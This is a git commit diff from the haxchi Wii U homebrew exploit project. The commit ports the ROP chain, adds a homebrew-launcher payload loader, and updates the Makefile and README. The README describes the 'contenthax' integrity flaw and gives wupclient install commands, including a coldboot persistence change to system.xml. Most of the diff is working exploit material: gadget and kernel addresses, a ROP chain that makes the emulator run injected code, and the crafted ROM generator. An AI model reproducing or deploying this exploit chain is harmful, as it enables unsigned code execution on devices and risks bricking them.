now includes a homebrew launcher loader! credits to the original go to dimok

compiles in once piece now to a directly usable rom.zip
This commit is contained in:
FIX94 2016-11-10 04:52:25 +01:00
parent 73c327adf2
commit 9cd3d24992
34 changed files with 3183 additions and 531 deletions

View File

@ -1,16 +1,18 @@
.PHONY := all haxchi/haxchi_code.bin
.PHONY := all code550.bin
all: haxchi.srl
all: WUP-N-DAAP.nds
haxchi/haxchi_code.bin:
@cd haxchi_code && make clean && make && cd ..
code550.bin:
@cd hbl_loader && make && cd ..
haxchi_rop_hook.bin haxchi_rop.bin: haxchi/haxchi_code.bin haxchi_rop.s
haxchi_rop_hook.bin haxchi_rop.bin: code550.bin haxchi_rop.s
armips haxchi_rop.s
haxchi.srl: haxchi_rop_hook.bin haxchi_rop.bin haxchi.s
WUP-N-DAAP.nds: haxchi_rop_hook.bin haxchi_rop.bin haxchi.s
armips haxchi.s
zip -JXjq9 rom.zip WUP-N-DAAP.nds
clean:
@rm -f *.bin haxchi.srl
@rm -f *.bin WUP-N-DAAP.nds rom.zip
@cd hbl_loader && make clean && cd ..
@echo "all cleaned up !"

View File

@ -1,42 +1,26 @@
# haxchi
haxchi is an exploit for the Nintendo DS virtual console emulator on Wii U (hachihachi). it is possible due to "contenthax", a vulnerability in the wii u's title integrity design: only code and critical descriptors are signed, with all other contents left at the mercy of attackers. this can be exploited simply by asking IOSU to copy over files in /content/ directories on either MLC or USB. contenthax can also be exploited from powerpc userland by using the MCP_CopyTitle command (not all processes have access, but for example home menu and system settings have it). as there is no integrity data for that content, CopyTitle cannot validate the malicious content and will therefore happily copy it from SD card to MLC or USB if asked.
it is likely that virtually all apps can be exploited in some way through contenthax, due to developers being less likely to program defensively against content that they should be the only ones to have control over. the Nintendo DS virtual console app was selected for this exploit because it has the ability to dynamically emit executable code. as a nice bonus, hachihachi includes symbols for its code. haxchi exploits a bug in the emulator's rom loader, and basically gets it to perform arbitrary memcpy operations. from there, achieving code execution is trivial given that there is no ASLR in place.
note that haxchi was my first time doing PPC ROP so... yeah
## coldboothax
haxchi (and indeed any other contenthax) can be used to achieve persistent automatic unsigned code execution on the wii u. this is due to the fact that the wii u can be configured to boot into any given title simply by modifying a file on the SLC. the file in question is sys/config/system.xml, and `<default_title_id type="hexBinary" length="8">...</default_title_id>` can be set to any arbitrary title ID, such as hachihachi's.
**NOTE**: it is *very* easy to brick a wii u by messing with this file, so don't do it unless you really know what you're doing.
This is a ported version of the haxchi exploit created by smea and others for the european release of brain training.
In addition to being ported it also includes a homebrew launcher loader as its payload so you can use it for a lot of things.
## install process
haxchi can be very easily installed using iosuhax's wupclient. for example, if hachihachi is installed to the MLC, it suffices to do:
```
w.up("rom.zip", "/vol/storage_mlc01/usr/title/00050000/101A5600/content/0010/rom.zip")
w.up("rom.zip", "/vol/storage_mlc01/usr/title/00050000/10179C00/content/0010/rom.zip")
```
of course, using wupclient to install haxchi permanently requires that redNAND be disabled, unless hachihachi is installed to USB, in which case it can be installed from redNAND using:
```
w.up("rom.zip", "/vol/storage_usb01/usr/title/00050000/101A5600/content/0010/rom.zip")
```
coldboothax can be installed by downloading system.xml as so:
```
w.dl("/vol/system/config/system.xml")
```
modifying it, and then uploading it back:
```
w.up("system.xml", "/vol/system/config/system.xml")
w.up("rom.zip", "/vol/storage_usb01/usr/title/00050000/10179C00/content/0010/rom.zip")
```
## contents
* haxchi_code: basic demo (native code)
* haxchi_rop.s: hachihachi process ROP which will emit haxchi_code as executable
* hbl_loader: a loader which will load up the homebrew launcher from sd card
* haxchi_rop.s: hachihachi process ROP which will emit hbl_loader as executable
* haxchi.s: generates a malicious SRL file
## credit
smea, plutoo, yellows8, naehrwert and derrek
smea, plutoo, yellows8, naehrwert, derrek, FIX94 and dimok

View File

@ -1,8 +1,8 @@
.create "haxchi.srl", 0
.create "WUP-N-DAAP.nds", 0
.nds
; game stack return address
hax_target_address equ 0x1076FAA4
code_target_address equ (0xF4000000 + 0xFD2000)
.org 0x000
.ascii "HAXCHI" ; Game Title
@ -14,8 +14,8 @@ code_target_address equ (0xF4000000 + 0xFD2000)
.org 0x020
.word arm9_data ; ARM9 rom_offset
.word 0x20000000 ; ARM9 entry_address
.word 0xEBDDFC00 + code_target_address ; ARM9 ram_address
.word 0x2000800 ; ARM9 entry_address
.word 0x2000000 ; ARM9 ram_address
.word arm9_data_end - arm9_data ; ARM9 size
.word arm7_data ; ARM7 rom_offset
.word 0x2000000 ; ARM7 entry_address

View File

@ -1,66 +0,0 @@
ifeq ($(strip $(DEVKITPPC)),)
$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=<path to>devkitPPC")
endif
ifeq ($(filter $(DEVKITPPC)/bin,$(PATH)),)
export PATH:=$(DEVKITPPC)/bin:$(PATH)
endif
CC = powerpc-eabi-gcc
LINK = powerpc-eabi-ld
AS = powerpc-eabi-as
OBJCOPY = powerpc-eabi-objcopy
CFLAGS += -Wall -mbig-endian -mcpu=750 -meabi -std=c99 -O2
LDFLAGS += --script=ccd00.ld -EB -L"$(DEVKITPPC)/powerpc-eabi/lib" -Map=output.map -lm -lg -lc
CFILES = $(wildcard source/*.c)
BINFILES = $(wildcard data/*.bin)
OFILES = $(BINFILES:data/%.bin=build/%.bin.o)
OFILES += $(CFILES:source/%.c=build/%.o)
DFILES = $(CFILES:source/%.c=build/%.d)
SFILES = $(wildcard source/*.s)
OFILES += $(SFILES:source/%.s=build/%.o)
PROJECTNAME = ${shell basename "$(CURDIR)"}
CWD = "$(CURDIR)""
#---------------------------------------------------------------------------------
# canned command sequence for binary data, taken from devkitPPC
#---------------------------------------------------------------------------------
define bin2o
bin2s $< | $(AS) -o $(@)
echo "extern const u8" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > source/`(echo $(<F) | tr . _)`.h
echo "extern const u8" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> source/`(echo $(<F) | tr . _)`.h
echo "extern const u32" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> source/`(echo $(<F) | tr . _)`.h
endef
.PHONY:=all dirs
all: dirs $(PROJECTNAME).bin
dirs:
mkdir -p build
$(PROJECTNAME).bin: $(PROJECTNAME).elf
$(OBJCOPY) -O binary $< $@
$(PROJECTNAME).elf: $(OFILES)
$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES))
clean:
@rm -f build/*.o build/*.d
@rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin
@echo "all cleaned up !"
-include $(DFILES)
build/%.o: source/%.c
$(CC) $(CFLAGS) -c $< -o $@
@$(CC) -MM $< > build/$*.d
build/%.o: source/%.s
$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@
@$(CC) -MM $< > build/$*.d
build/%.bin.o: data/%.bin
@echo $(notdir $<)
@$(bin2o)

View File

@ -1,25 +0,0 @@
OUTPUT_ARCH(powerpc)
MEMORY
{
RAMX (rx) : ORIGIN = 0x01800000, LENGTH = 0x00010000
RAMRW (rw!i) : ORIGIN = 0x20000000, LENGTH = 0x00002000
}
SECTIONS
{
.text : ALIGN(0x100) {
build/crt0.o(.init)
*(.text)
*(.rodata)
*(.sdata)
}
.bss : {
_bss_start = .;
*(.bss);
*(.sbss);
}
_bss_end = .;
}

View File

@ -1,4 +0,0 @@
%rename link old_link
*link:
%(old_link) -T ./ccd00.ld%s

View File

@ -1,71 +0,0 @@
#ifndef CONSTANTS_H
#define CONSTANTS_H
#define CCR_MEMCPY 301478892
#define CCR_MEMSET 301479048
#define CCR_STRNCPY 301481600
#define CCR_MOV_R0R4_POP_R4PC 301461596
#define CCR_LDR_R0R0x8_BLX_R3_POP_PC 301138616
#define CCR_ROP_R4R5R6R7R8PC 300950884
#define CCR_ROP_R4R5R6R7PC 300949720
#define CCR_MOV_R0R7_MOV_R1R8_MOV_R2R4_BLX_R5 301028284
#define CCR_MOV_R1R8_MOV_R2R4_BLX_R5 ((CCR_MOV_R0R7_MOV_R1R8_MOV_R2R4_BLX_R5 + 0x4))
#define CCR_BLX_R2_POP_R4PC 301137492
#define CCR_BLX_R6_POP_R4R5R6PC 301004128
#define CCR_BLX_R4 300999020
#define CCR_STR_R0R4x24_POP_R4PC 301277360
#define CCR_STR_R3R5x24_POP_R4R5PC 301294364
#define CCR_POP_R4PC 301277364
#define CCR_LDR_R0R5x18_BLX_R7 301319000
#define CCR_POP_R4R5PC 301139088
#define CCR_POP_R3R5PC 301159067
#define CCR_POP_R4R5R6PC 301004132
#define CCR_POP_R4R5R6R7PC 300949720
#define CCR_POP_PC 300948676
#define CCR_LDR_R0R7_POP_R4R5R6R7R8R9R10PC 301375148
#define CCR_MOV_R0R9_POP_ADD_SPxC_R4R5R6R7R8R9R10R11PC 301365520
#define CCR_LDM_SPR0R1_ADD_SPx14_POP_R4R5R6R7R8R9R10R11LR_BX_LR 301485876
#define CCR_MVNSNE_SPR4RORx13_BX_LR 301204712
#define CCR_CMP_R3x0_POPEQ_PC_BLX_R3_POP_PC 300999264
#define CCR_BLX_R4_POP_R4R5PC 301016140
#define CCR_IOCTL_RET 301232392
#define CCR_NFC_STACKTOP 303204396
#define CCR_NFC_STACKSIZE 51168
#define ROP_INITIAL_START_LR ((CCR_NFC_STACKTOP - 0x20 - (9 * 0x4 + 0x4) - 0x4))
#define ROP_INITIAL_START ((ROP_INITIAL_START_LR + 0x4 + 0x8))
#define CCR_FSA_HANDLE 301957260
#define CCR_ROP_SVC_6 301477528
#define CCR_ROP_SVC_CREATETHREAD 301477480
#define CCR_ROP_SVC_IOCTL 301477928
#define CCR_ROP_SVC_IOCTLV 301477936
#define CCR_ROP_SVC_STARTTHREAD 301477536
#define CCR_ROP_SVC_CREATEMESSAGEQUEUE 301477576
#define CCR_ROP_SVC_JAMMESSAGEQUEUE 301477600
#define CCR_ROP_SVC_CREATEHEAP 301477760
#define CCR_ROP_SVC_FREEANDCLEAR 301477816
#define CCR_ROP_SVC_4F 301478112
#define CCR_ROP_SVC_RESOURCEREPLY0 301478064
#define CCR_POP_R4LR_ROP_SVC_4F 301226192
#define CCR_ROP_ALLOC_IOCTLBUF 301462868
#define CCR_ROP_START 301232500
#define KERNEL_SVC_81_HANDLER 135449900
#define KERNEL_READ_OTP 135397960
#define KERNEL_SET_DOMAIN 135457296
#define KERNEL_DOMAIN_TABLE 135938048
#define KERNEL_MEMCPY 135470340
#define KERNEL_STRNLEN 135473816
#define KERNEL_INVALIDATE_ICACHE 135453936
#define FRAMEBUFFER_VA 0xF4000000
#define FRAMEBUFFER_PA 0
#define FRAMEBUFFER_SIZE 7372800
#define ROP_SECONDARY_SIZE 4096
#define ROP_SECONDARY_SRCBUF_VA 671088640
#define ROP_SECONDARY_SRCBUF_PA (ROP_SECONDARY_SRCBUF_VA - 0x10000000 + 0x50000000)
#define ROP_SECONDARY_DSTBUF (CCR_NFC_STACKTOP - CCR_NFC_STACKSIZE)
#define DATABUFFER_VA ROP_SECONDARY_SRCBUF_VA+0x2000
#define DATABUFFER_PA (DATABUFFER_VA - 0x10000000 + 0x50000000)
#define CCR_SHELLCODE_DST 0x11F85800
#define MCP_SHELLCODE_DST 0x05059900
#define SHELLCODE_SRC_VA ((ROP_SECONDARY_SRCBUF_VA+0x3000))
#define SHELLCODE_SRC_PA (SHELLCODE_SRC_VA - 0x10000000 + 0x50000000)
#define SHELLCODE_DST 0xFFFFEC00
#endif

View File

@ -1,8 +0,0 @@
.section ".init"
.align 4
.extern _main
.type _main, %function
_start:
b _main

View File

@ -1,91 +0,0 @@
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "imports.h"
#define COREINIT_OFFSET (- 0xFE3C00)
// dynamically linked
int (*IOS_Open)(const char* dev, int flags) = NULL;
int (*IOS_Ioctl)(int fd, u32 cmd, void* buf_in, u32 size_in, void* buf_out, u32 size_out) = NULL;
void (*DCFlushRange)(void *buffer, uint32_t length) = NULL;
int (*OSScreenClearBufferEx)(int bufferNum, u32 val) = NULL;
int (*OSScreenPutFontEx)(int bufferNum, unsigned int posX, unsigned int line, void* buffer) = NULL;
void (*OSFatal)(char*) = NULL;
void (*OSForceFullRelaunch)(void) = NULL;
void (*OSRestartGame)(void*, void*) = NULL;
int (*SYSLaunchMenu)(void) = NULL;
int (*SYSRelaunchTitle)(int, void*) = NULL;
int (*SYSLaunchSettings)(void*) = NULL;
int (*SYSSwitchToBrowser)(char*) = NULL;
int (*_SYSLaunchSettingsDirect)(void*) = NULL;
void (*Exit)(void) = NULL;
void (*_exit)(void) = NULL;
void (*OSScreenInit)(void) = NULL;
int (*OSScreenGetBufferSizeEx)(int bufferNum) = NULL;
int (*OSScreenSetBufferEx)(int bufferNum, void* addr) = NULL;
int (*OSScreenFlipBuffersEx)(int bufferNum) = NULL;
void* (*OSAllocFromSystem)(u32 size, int align) = NULL;
void (*OSFreeToSystem)(void *ptr) = NULL;
int (*IM_Open)() = NULL;
int (*IM_Close)(int fd) = NULL;
int (*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b) = NULL;
int (*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error);
// 5.5.x values
int (*const OSDynLoad_Acquire)(const char* lib_name, int* out_addr) = (void*)(COREINIT_OFFSET + 0x0200DFB4);
int (*const OSDynLoad_FindExport)(int lib_handle, int flags, const char* name, void* out_addr) = (void*)(COREINIT_OFFSET + 0x0200F428);
void init_imports()
{
int coreinit_handle, sysapp_handle, vpad_handle;
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
OSDynLoad_Acquire("vpad.rpl", &vpad_handle);
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Open", &IOS_Open);
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSFatal", &OSFatal);
OSDynLoad_FindExport(coreinit_handle, 0, "OSForceFullRelaunch", &OSForceFullRelaunch);
OSDynLoad_FindExport(coreinit_handle, 0, "OSRestartGame", &OSRestartGame);
OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchMenu", &SYSLaunchMenu);
OSDynLoad_FindExport(sysapp_handle, 0, "SYSRelaunchTitle", &SYSRelaunchTitle);
OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchSettings", &SYSLaunchSettings);
OSDynLoad_FindExport(sysapp_handle, 0, "SYSSwitchToBrowser", &SYSSwitchToBrowser);
OSDynLoad_FindExport(sysapp_handle, 0, "_SYSLaunchSettingsDirect", &_SYSLaunchSettingsDirect);
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &Exit);
OSDynLoad_FindExport(coreinit_handle, 0, "exit", &_exit);
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead);
}
void* memset(void *d, int v, size_t size)
{
int i;
for(i = 0; i < size; i++) ((unsigned char*)d)[i] = v;
return d;
}
void* memcpy(void *d, const void* s, size_t size)
{
int i;
for(i = 0; i < size; i++) ((unsigned char*)d)[i] = ((unsigned char*)s)[i];
return d;
}

View File

@ -1,94 +0,0 @@
#ifndef IMPORTS_H
#define IMPORTS_H
#include "types.h"
#include "constants.h"
#define BSS_PHYS_OFFSET (0x50000000 - 0x10000000)
#define BSS_VA2PA(a) ((void*)(((u32)a) + BSS_PHYS_OFFSET))
#define BSS_PA2VA(a) ((void*)(((u32)a) - BSS_PHYS_OFFSET))
extern void* _bss_start;
extern void* _bss_end;
extern int (*IOS_Open)(const char* dev, int flags);
extern int (*IOS_Ioctl)(int fd, u32 cmd, void* buf_in, u32 size_in, void* buf_out, u32 size_out);
extern void (*DCFlushRange)(void *buffer, uint32_t length);
extern int (*OSScreenClearBufferEx)(int bufferNum, u32 val);
extern int (*OSScreenPutFontEx)(int bufferNum, unsigned int posX, unsigned int line, void* buffer);
extern void (*OSFatal)(char*);
extern void (*OSForceFullRelaunch)(void);
extern int (*SYSLaunchMenu)(void);
extern int (*SYSRelaunchTitle)(int, void*);
extern int (*SYSLaunchSettings)(void*);
extern int (*SYSSwitchToBrowser)(char*);
extern int (*_SYSLaunchSettingsDirect)(void*);
extern void (*Exit)(void);
extern void (*_exit)(void);
extern void* (*OSAllocFromSystem)(u32 size, int align);
extern void (*OSFreeToSystem)(void *ptr);
extern int (*IM_Open)();
extern int (*IM_Close)(int fd);
extern int (*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b);
extern void (*OSScreenInit)(void);
extern int (*OSScreenGetBufferSizeEx)(int bufferNum);
extern int (*OSScreenSetBufferEx)(int bufferNum, void* addr);
extern int (*OSScreenFlipBuffersEx)(int bufferNum);
// the following (temporarily) stolen from libwiiu
#define BUTTON_A 0x8000
#define BUTTON_B 0x4000
#define BUTTON_X 0x2000
#define BUTTON_Y 0x1000
#define BUTTON_LEFT 0x0800
#define BUTTON_RIGHT 0x0400
#define BUTTON_UP 0x0200
#define BUTTON_DOWN 0x0100
#define BUTTON_ZL 0x0080
#define BUTTON_ZR 0x0040
#define BUTTON_L 0x0020
#define BUTTON_R 0x0010
#define BUTTON_PLUS 0x0008
#define BUTTON_MINUS 0x0004
#define BUTTON_HOME 0x0002
#define BUTTON_SYNC 0x0001
typedef struct
{
float x,y;
} Vec2D;
typedef struct
{
uint16_t x, y; /* Touch coordinates */
uint16_t touched; /* 1 = Touched, 0 = Not touched */
uint16_t validity; /* 0 = All valid, 1 = X invalid, 2 = Y invalid, 3 = Both invalid? */
} VPADTPData;
typedef struct
{
uint32_t btn_hold; /* Held buttons */
uint32_t btn_trigger; /* Buttons that are pressed at that instant */
uint32_t btn_release; /* Released buttons */
Vec2D lstick, rstick; /* Each contains 4-byte X and Y components */
char unknown1c[0x52 - 0x1c]; /* Contains accelerometer and gyroscope data somewhere */
VPADTPData tpdata; /* Normal touchscreen data */
VPADTPData tpdata1; /* Modified touchscreen data 1 */
VPADTPData tpdata2; /* Modified touchscreen data 2 */
char unknown6a[0xa0 - 0x6a];
uint8_t volume;
uint8_t battery; /* 0 to 6 */
uint8_t unk_volume; /* One less than volume */
char unknowna4[0xac - 0xa4];
} VPADData;
extern int (*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error);
void init_imports();
#endif

View File

@ -1,70 +0,0 @@
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "imports.h"
u32* framebuffer_tv;
u32* framebuffer_drc;
u32 framebuffer_tv_size;
u32 framebuffer_drc_size;
void gfxInit()
{
OSScreenInit();
framebuffer_tv_size = OSScreenGetBufferSizeEx(0);
framebuffer_drc_size = OSScreenGetBufferSizeEx(1);
framebuffer_tv = (u32*)0xF4000000;
framebuffer_drc = (u32*)((void*)framebuffer_tv + framebuffer_tv_size);
OSScreenSetBufferEx(0, framebuffer_tv);
OSScreenSetBufferEx(1, framebuffer_drc);
}
void gfxFlip()
{
OSScreenFlipBuffersEx(0);
OSScreenFlipBuffersEx(1);
}
void print(char* str, int x, int y)
{
OSScreenPutFontEx(0, x, y, str);
OSScreenPutFontEx(1, x, y, str);
}
void _main()
{
// clear bss
memset(&_bss_start, 0x00, &_bss_end - &_bss_start);
// get all the functions
init_imports();
// init framebuffers and stuff
gfxInit();
while(1)
{
VPADData vpad_data;
int vpad_error;
VPADRead(0, &vpad_data, 1, &vpad_error);
OSScreenClearBufferEx(0, 0x40404040);
OSScreenClearBufferEx(1, 0x40404040);
print("wii u got SPYND yo", 5, 5);
int line = 7;
if (vpad_data.btn_hold & BUTTON_A) print("A is held", 7, line++);
if (vpad_data.btn_hold & BUTTON_B) print("B is held", 7, line++);
if (vpad_data.btn_hold & BUTTON_X) print("X is held", 7, line++);
if (vpad_data.btn_hold & BUTTON_Y) print("Y is held", 7, line++);
if (vpad_data.btn_hold & BUTTON_HOME) print("HOME is held", 7, line++);
gfxFlip();
}
while(1);
}

View File

@ -1,29 +0,0 @@
#ifndef TYPES_H
#define TYPES_H
#include <stdint.h>
#include <stdbool.h>
#define U64_MAX UINT64_MAX
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
typedef int8_t s8;
typedef int16_t s16;
typedef int32_t s32;
typedef int64_t s64;
typedef volatile u8 vu8;
typedef volatile u16 vu16;
typedef volatile u32 vu32;
typedef volatile u64 vu64;
typedef volatile s8 vs8;
typedef volatile s16 vs16;
typedef volatile s32 vs32;
typedef volatile s64 vs64;
#endif

View File

@ -3,6 +3,7 @@ CORE0_STACKORIG equ (0x2B267B50) ; TEMP ?
CORE0_ROPSTART equ (CORE0_STACKORIG + 0xAFC) ; TEMP ?
RPX_OFFSET equ (0x01800000)
COREINIT_OFFSET equ (- 0xFE3C00)
SYSAPP_OFFSET equ (0x01B75D00)
LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x02208F6C)
MTCTR_R28_ADDI_R6x68_MR_R5R29_R4R22_R3R21_BCTRL equ (RPX_OFFSET + 0x02208E90)
BCTRL equ (RPX_OFFSET + 0x02208EA4)
@ -16,8 +17,14 @@ MTCTR_R30_MR_R8R21_R7R29_R6R28_R5R27_R4R25_R3R24_BCTRL equ (COREINIT_OFFSET + 0x
NERD_CREATETHREAD equ (RPX_OFFSET + 0x02223C40)
NERD_STARTTHREAD equ (RPX_OFFSET + 0x0222405C)
NERD_JOINTHREAD equ (RPX_OFFSET + 0x02223AEC)
HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02007774)
;HACHI_APPLICATION_PTR equ (0x10A6E038) ;probably wrong
NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x201BD28)
CORE_SHUTDOWN equ (RPX_OFFSET + 0x02222FBC)
_START_EXIT equ (RPX_OFFSET + 0x02022A70)
HACHI_APPLICATION_PTR equ (0x10A6E038)
_SYSLAUNCHMIISTUDIO equ (SYSAPP_OFFSET + 0x020019D4)
OS_CREATETHREAD equ (0x02025764 + COREINIT_OFFSET)
OS_GETTHREADAFFINITY equ (0x020266A4 + COREINIT_OFFSET)
@ -27,15 +34,14 @@ OSCODEGEN_SWITCHSECMODE equ (0x0201B2C0 + COREINIT_OFFSET)
MEMCPY equ (0x02019BC8 + COREINIT_OFFSET)
DC_FLUSHRANGE equ (0x02007B88 + COREINIT_OFFSET)
IC_INVALIDATERANGE equ (0x02007CB0 + COREINIT_OFFSET)
;SYS_LAUNCHSETTINGS equ (0x03B9B25C)
;_EXIT equ (0x0229a240 + RPX_OFFSET)
;exit equ (0x022924b0 + RPX_OFFSET)
OSSAVESDONE_READYTORELEASE equ (0x0201D5B8 + COREINIT_OFFSET)
OSRELEASEFOREGROUND equ (0x0201D5BC + COREINIT_OFFSET)
OSFATAL equ (0x02015218 + COREINIT_OFFSET)
CODEGEN_ADR equ 0x01800000
NERD_THREADOBJECT equ (0x1076FAA4 - 0x1000)
NERD_THREAD0OBJECT equ (0x1076FAA4 - 0x1000)
NERD_THREAD2OBJECT equ (0x1076FAA4 - 0x2000)
.macro set_sp,v
.word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR
@ -131,46 +137,56 @@ NERD_THREADOBJECT equ (0x1076FAA4 - 0x1000)
.endmacro
; hacked from arm7 ram offset (unsafe, game stack pointer)
.create "haxchi_rop_hook.bin", 0x1076FAA4
.arm.big
rop_hook_start:
; move stack pointer to safe area
set_sp (rop_start - 4)
.Close
.create "haxchi_rop.bin", (0xF4000000 + 0xFD2000)
; original game arm9 ram offset (safe, normally arm9 code)
.create "haxchi_rop.bin", 0x16220400
.arm.big
rop_start:
;call_func HACHI_APPLICATION_SHUTDOWNANDDESTROY, HACHI_APPLICATION_PTR, 0, 0, 0
;call_func OSFATAL, 0x1007E7A8, 0, 0, 0
;call_func SYS_LAUNCHSETTINGS, 0, 0, 0, 0
; call_func exit, 0, 0, 0, 0
; call_func _EXIT, 0, 0, 0, 0
; .word _EXIT
; .word _START_EXIT
; .word 0xDEADBABE ; garbage
; .word 0xDEADBABE ; garbage
; .word 0xDEADBABE ; garbage
; .word 0xDEADBABE ; garbage
; .word 0xDEADBABE ; garbage
call_func_6args NERD_CREATETHREAD, NERD_THREADOBJECT, LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR, 0x1007E7A8, thread_param, 0x0, 0x0
call_func OS_GETTHREADAFFINITY, NERD_THREADOBJECT, 0, 0, 0
; quit out of GX2 so we can re-use it in core 0
call_func NERD_FASTWIIU_SHUTDOWN, 0, 0, 0, 0
; set up hbl_loader in core 0
call_func_6args NERD_CREATETHREAD, NERD_THREAD0OBJECT, LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR, 0x1007E7A8, thread0_param, 0x0, 0x0
call_func MEMCPY, CORE0_ROPSTART, core0rop, core0rop_end - core0rop, 0x0
call_func NERD_STARTTHREAD, NERD_THREADOBJECT, 0x0, 0x0, 0x0
;call_func DC_FLUSHRANGE, 0x1076EAA4, 0x1000, 0x0, 0x0
call_func BCTRL, 0x0, 0x0, 0x0, 0x0 ; infinite loop
; wait for hbl_loader to do its job
call_func NERD_STARTTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0
call_func NERD_JOINTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0
; clean up the rest of hachihachi
call_func HACHI_APPLICATION_SHUTDOWNANDDESTROY, HACHI_APPLICATION_PTR, 0, 0, 0
call_func CORE_SHUTDOWN, 0, 0, 0, 0
; on exit we want to go into mii studio directly
call_func _SYSLAUNCHMIISTUDIO, 0x0, 0x0, 0x0, 0x0
; prepare system for foreground release
call_func OSSAVESDONE_READYTORELEASE, 0, 0, 0, 0
; instruct all 3 cores to release foreground to prepare mii studio app launch
call_func_6args NERD_CREATETHREAD, NERD_THREAD0OBJECT, OSRELEASEFOREGROUND, 0, thread0_param, 0x0, 0x0
call_func NERD_STARTTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0
call_func_6args NERD_CREATETHREAD, NERD_THREAD2OBJECT, OSRELEASEFOREGROUND, 0, thread2_param, 0x0, 0x0
call_func NERD_STARTTHREAD, NERD_THREAD2OBJECT, 0x0, 0x0, 0x0
; we are the main thread in core 1 so we call this direct
call_func OSRELEASEFOREGROUND, 0, 0, 0, 0
; launch mii studio app
.word _START_EXIT
core0rop:
; .word OSFATAL
; switch codegen to RW
call_func OSCODEGEN_SWITCHSECMODE, 0x0, 0x0, 0x0, 0x0
@ -181,23 +197,38 @@ rop_start:
; switch codegen to RX
call_func OSCODEGEN_SWITCHSECMODE, 0x1, 0x0, 0x0, 0x0
call_func IC_INVALIDATERANGE, CODEGEN_ADR, code_end - code, 0x0, 0x0
; execute hbl_loader in codegen
.word CODEGEN_ADR
core0rop_end:
output_string:
.ascii "haxthread"
; core 0 thread params
output0_string:
.ascii "hax0thread"
.byte 0x00
.align 0x4
thread_param:
.word output_string
thread0_param:
.word output0_string
.word 0x00800000 ; stack size
.word 0x00000010 ; thread prio
.halfword 0x0001 ; thread affinity (core0)
; core 2 thread params
output2_string:
.ascii "hax2thread"
.byte 0x00
.align 0x4
thread2_param:
.word output2_string
.word 0x00800000 ; stack size
.word 0x00000010 ; thread prio
.halfword 0x0004 ; thread affinity (core2)
; hbl_loader code
code:
.incbin "haxchi_code/haxchi_code.bin"
.incbin "code550.bin"
code_end:
.Close

47
hbl_loader/Makefile Normal file
View File

@ -0,0 +1,47 @@
PATH := $(DEVKITPPC)/bin:$(PATH)
PREFIX ?= powerpc-eabi-
CC = $(PREFIX)gcc
AS = $(PREFIX)gcc
CFLAGS = -std=gnu99 -Os -nostdinc -fno-builtin
ASFLAGS = -mregnames -x assembler-with-cpp
LD = $(PREFIX)ld
LDFLAGS=-Ttext 1800000 --oformat binary -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 -lgcc
OBJDUMP ?= $(PREFIX)objdump
project := .
root := $(CURDIR)
build := $(root)/bin
sd_loader_elf := sd_loader/sd_loader.elf
CFLAGS += -DUSE_SD_LOADER
ASFLAGS += -DUSE_SD_LOADER
FIRMWARE = 550
all: clean setup main
sd_loader.h: $(sd_loader_elf)
xxd -i $< | sed "s/unsigned/static const unsigned/g;s/loader/loader/g;s/build_//g" > $@
$(sd_loader_elf):
make -C sd_loader
setup:
mkdir -p $(root)/bin/
main: sd_loader.h
$(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/launcher.c
$(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/kexploit.c
